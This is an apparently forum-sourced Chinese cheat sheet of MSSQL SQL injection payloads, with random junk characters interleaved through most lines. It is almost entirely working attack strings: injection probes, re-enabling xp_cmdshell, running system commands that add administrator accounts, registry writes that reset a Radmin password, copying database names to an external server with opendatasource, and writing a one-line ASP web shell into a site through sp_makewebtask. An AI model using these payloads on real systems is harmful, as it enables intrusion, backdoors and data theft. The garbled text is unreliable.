阿D常用的一些注入命令; c- Z$ l* Z; j+ B
//看看是什么权限的* k5 p: n- m4 J& O" J
and 1=(Select IS_MEMBER('db_owner'))
3 g" F5 @1 ~3 q# l2 _: W8 ~+ GAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- T+ P0 F6 m5 K/ g# k
+ M5 L$ [5 q/ g6 j0 C* D
//检测是否有读取某数据库的权限
% O2 p2 I) @( X' ]! A" a) [and 1= (Select HAS_DBACCESS('master'))( V$ X8 M6 \& a9 r
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --3 c* w5 }6 j% w% D% W
. Y2 b( b* s8 ]/ }$ w8 v9 J
0 u: u: L8 p( f! a1 L9 L+ G数字类型
2 q( p# z' O, b9 u* e# Kand char(124)%2Buser%2Bchar(124)=0
3 c0 Y- e& {: L/ X
# b0 H$ j+ o) X1 o: ^字符类型
: y- g; u' h$ G* b- q; U' and char(124)%2Buser%2Bchar(124)=0 and ''='
5 k5 \& a1 X' L3 R' s7 B, F) H
& a8 d1 z2 Y2 N# c X搜索类型
% T' p$ M0 u- ]* D' \( |/ N L' and char(124)%2Buser%2Bchar(124)=0 and '%'='
. [- m3 s5 o- r
5 p j2 S: r. s+ \+ R* i爆用户名: V4 N J* x; P; U. i. n
and user>0$ g1 [0 U) s" A- }7 C. o
' and user>0 and ''='( T0 s. H+ q% R
8 I* [9 @2 O1 `1 j5 P1 v8 F, S! w
检测是否为SA权限
5 w" a) m: \; w. l" n% k' M) Fand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
3 M8 i$ X+ B- E( I. X2 }And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --& p& X; o" b$ q% W$ m6 Z; A9 s
4 M; L* r' \( S# r检测是不是MSSQL数据库9 m& E" \; n. \/ v3 k, j- o1 ]$ e
and exists (select * from sysobjects);-- * V9 |& u/ R+ b/ J- e% k
\" M9 J/ [% e6 o检测是否支持多行! S* H( s2 g, z% y- I4 ^
;declare @d int;-- 7 K0 _& R/ p/ v5 f# Y' H. {8 \, G
E1 U; i/ S( q1 q1 r) m
恢复 xp_cmdshell
0 W; Q3 A7 E" G, G;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
/ x- {! j3 _- l& W) v E" ~( O
& U5 P1 Y! M$ p" [. D- T% O* f/ ^
& k7 i: ]0 r/ r' _# }select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
( f; e4 W3 e0 @* H5 A- U8 ~- E
) X$ b X% l/ ?//-----------------------
q- k T, j# i+ o: \$ w+ r// 执行命令; L6 [( m8 p$ O8 h3 h' N7 f
//-----------------------1 A, o- B3 N: k4 e( V( }
首先开启沙盘模式:- [* d& O5 l% o, a5 B A; R- V Q6 i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
+ {2 c5 x( k: j) G: I4 s$ o. G4 r% v6 Y3 m
然后利用jet.oledb执行系统命令
# g9 m0 x/ s7 Hselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')" v3 Z6 K# O: m( D6 x8 n" d
$ i c4 e9 I' n5 C' X% X执行命令
7 \4 K+ }- X0 e! Z% r( q9 W6 H;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--# I6 g% c4 C5 m8 S A& b, l3 q. j
2 N5 ~& P# L' |" S3 f5 UEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
" i7 N7 `3 g. a' P% e9 ^ ]3 H+ O& n- e1 R( ^0 k. y
判断xp_cmdshell扩展存储过程是否存在:
4 L4 q5 K. Z* \. Q4 Xhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')& n9 a" P* {0 C/ R
6 d6 G9 ?: s0 n$ J( p写注册表
5 n3 F$ t& _! v; `2 }exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- d# C' }% O9 k3 H1 t; y# {
; O" h1 Q" p1 m% p2 E8 \1 Z' G7 uREG_SZ
* n- z% R. O, m9 r. q, e8 ]6 w- Z7 p. X$ @1 p
读注册表
' M( L* w, o: { eexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
& n$ \. X$ Q7 G" y- [ i% N1 t. q/ k$ O8 \1 R; G
读取目录内容+ q- |# u: l- \
exec master..xp_dirtree 'c:\winnt\system32\',1,1, d) |) ?8 M( e7 t. R/ ]
* W& S }) O$ I3 v+ p
: h8 ~0 ?5 `2 d' C0 s g# A数据库备份/ T9 Z( M9 _, N+ x, a# b; H
backup database pubs to disk = 'c:\123.bak'6 b u! G4 R, ?+ t$ S4 P0 A( {6 ?
# a) H1 B X& ~3 b* _) I% k7 }2 V5 \
//爆出长度! T; v2 @: v; d" ^; l
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--$ q0 G9 e* O, \% y
+ G( @9 P- B% @8 M9 q/ |
) W* s+ p# e! ]8 c4 R, f' D
s/ J/ b6 j$ w+ T1 R; n7 i
更改sa口令方法:用sql综合利用工具连接后,执行命令:
; |, I! ^- s7 m# }. T3 M, Xexec sp_password NULL,'新密码','sa'9 ~7 G1 o) [" t) S8 C' q/ m
( u. S9 W( `0 d" C. g% @添加和删除一个SA权限的用户test:
% D" }' t; p* u! hexec master.dbo.sp_addlogin test,ptlove
) T/ |+ X4 ^& O- J$ m3 h, m V0 H7 Qexec master.dbo.sp_addsrvrolemember test,sysadmin5 L8 t0 \* S! P+ X4 M' w
. [+ `* G8 ?1 z3 D0 }
删除扩展存储过过程xp_cmdshell的语句: $ P: i1 C/ n* O- S
exec sp_dropextendedproc 'xp_cmdshell'
6 d; ]! ~1 }+ r( L% }) d5 C4 ~, d1 v% m% G
添加扩展存储过过程
, z' f& ~$ [$ b/ }EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' " s; A2 v' x ]) v s
GRANT exec On xp_proxiedadata TO public 4 g& `! [) x* h0 m H
! f. ^: S8 w% Q8 b: \! q J& n4 ] G
8 Q, b2 e' `" k停掉或激活某个服务。
7 \2 D8 `: Y7 \, ~/ k9 l6 g5 S5 \" L6 ~ j b) {
exec master..xp_servicecontrol 'stop','schedule' r2 L+ L- ~& ~! ?
exec master..xp_servicecontrol 'start','schedule'
+ i8 }# S2 O* A! i R
* c2 q9 `8 b9 I6 `dbo.xp_subdirs/ Q y8 P& F |% o- k$ M
: c0 C& V5 ?4 \( a只列某个目录下的子目录。
+ K1 P# J5 ^/ [$ ]xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'6 ^9 Q2 |# f* l, n; w( t% t8 {5 a
$ ~/ X+ L4 b4 rdbo.xp_makecab
s* v% A6 {% @9 V
0 Z6 c6 {1 h5 ]; d: V" J. E将目标多个档案压缩到某个目标档案之内。6 [' N Z# S" D" s
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
; j0 N) d- r$ d. E0 ~8 @ |5 W1 N: i0 S
dbo.xp_makecab
+ \+ t* C; A- `% V'c:\test.cab','mszip',1,+ j5 p0 e j3 ~4 f
'C:\Inetpub\wwwroot\SQLInject\login.asp',
4 B4 Z" r+ x0 S8 ?0 C" E'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
1 j& v& i3 a4 q0 p. o- y F
1 a' q$ N- C3 D1 f! l2 H# J% jxp_terminate_process. Q( Y: h v+ c6 _9 F
! u! k9 i2 j! T停掉某个执行中的程序,但赋予的参数是 Process ID。
' ?1 a; {2 c, [$ M9 A利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
7 w# J% d! \% F4 \4 d* G4 o# T n0 q/ r3 T6 q
xp_terminate_process 2484: ^; |. |5 Q7 Q- }
5 q( [& D) m4 I5 O/ }/ jxp_unpackcab
& @, g8 S7 [9 U1 ?
* i* l2 J/ u3 `, p解开压缩档。 p3 x9 y: M- y9 O' J
2 B0 o. q" e4 x. N* B1 W* hxp_unpackcab 'c:\test.cab','c:\temp',1/ ^% |( ?6 l X- U; S* b- d( j
' x# U7 w7 q4 l' s% z
. o- Q% l, T* `$ c7 ?" W9 _
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12349 W9 T l2 O' q/ ]3 g; P- M) U
- w: V* J L9 r* m) ecreate database lcx;+ m/ @4 d- p& ~9 `
Create TABLE ku(name nvarchar(256) null);+ ?3 v; b% Y* }# }( @
Create TABLE biao(id int NULL,name nvarchar(256) null);
6 j2 U, U% b7 \/ e
' t# R% a) s+ [' U, z+ h//得到数据库名3 K" X! m# Z9 {$ R0 h9 U& K
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases7 C$ {' X3 }/ `& @* E2 S
) A4 p7 V' \/ i* q, N# x
. M2 t0 F5 p# p, k" i, Q7 r4 N# f//在Master中创建表,看看权限怎样
: Z* l1 K, d$ W# [0 NCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--0 N E; e" m; y
" X: \* W* C7 Z9 @
用 sp_makewebtask直接在web目录里写入一句话马:1 T; m& ^$ s) g4 q2 D/ Z) C( T1 s
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
. D% Z5 F8 ~2 m! f; j; l3 w
0 t* d7 o* `5 K//更新表内容& V9 Q' v! Z; Q, `6 I" }! P. s4 H
Update films SET kind = 'Dramatic' Where id = 123
5 r" r" T9 E3 J6 o9 a& P8 I S- s: c5 g& C" y. w& k" B) f
//删除内容
" r/ G7 ?& u; N: W* T# K* Q( H5 Odelete from table_name where Stockid = 3 |